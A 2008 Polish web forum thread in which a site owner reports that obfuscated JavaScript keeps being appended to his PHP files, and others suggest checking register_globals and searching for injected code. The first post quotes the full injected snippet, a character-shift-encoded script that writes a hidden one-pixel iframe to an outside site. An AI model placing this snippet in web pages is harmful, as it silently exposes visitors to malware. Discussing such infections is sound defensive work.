Dopisywanie złośliwego kodu javascript Opcje

[rafalp]

Mam nawracający problem z dopisywaniem do moich plików php w katalogu głównym serwera (w tym index.php) kodu:

[PHP] pobierz, plaintext 
<?php echo '<script type="text/javascript">function count(str){var res = "";for(i = 0; i < str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(">khtcog\"ute?jvvr<11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\"ykfvj?3\"jgkijv?3\"htcogdqtfgt?2@"));</script>';?>
[PHP] pobierz, plaintext 

Powoduje to zawieszenie przeglądarek. Po pierwszym incydencie zmieniłem hasła dostępowe do FTP jednak problem nie znika, czy ktoś spodkał się z czym podobnym? Co jeszcze można zrobić gdy serwer mam nie na swojej maszynie?

Ten post edytował rafalp 19.09.2008, 09:23:01

[Black-Berry]

phpinfo(). Zobacz jakie masz ustawienie register_globals. Też się z tym spotkałem. Pasowałoby też przeszukać cały kod bo możliwe ze złosliwy kod generujący ten dopisek już się gdzies wstrzyknął.

Odpisz czy udało Ci się rozwiązać proble. Tez z tym chcę powalczyć u siebie.

Ten post edytował Black-Berry 19.09.2008, 11:30:55

[kwiateusz]

Przenosze bo to nie ma zwiazku z serwerem WWW tylko pewnie z aplikacja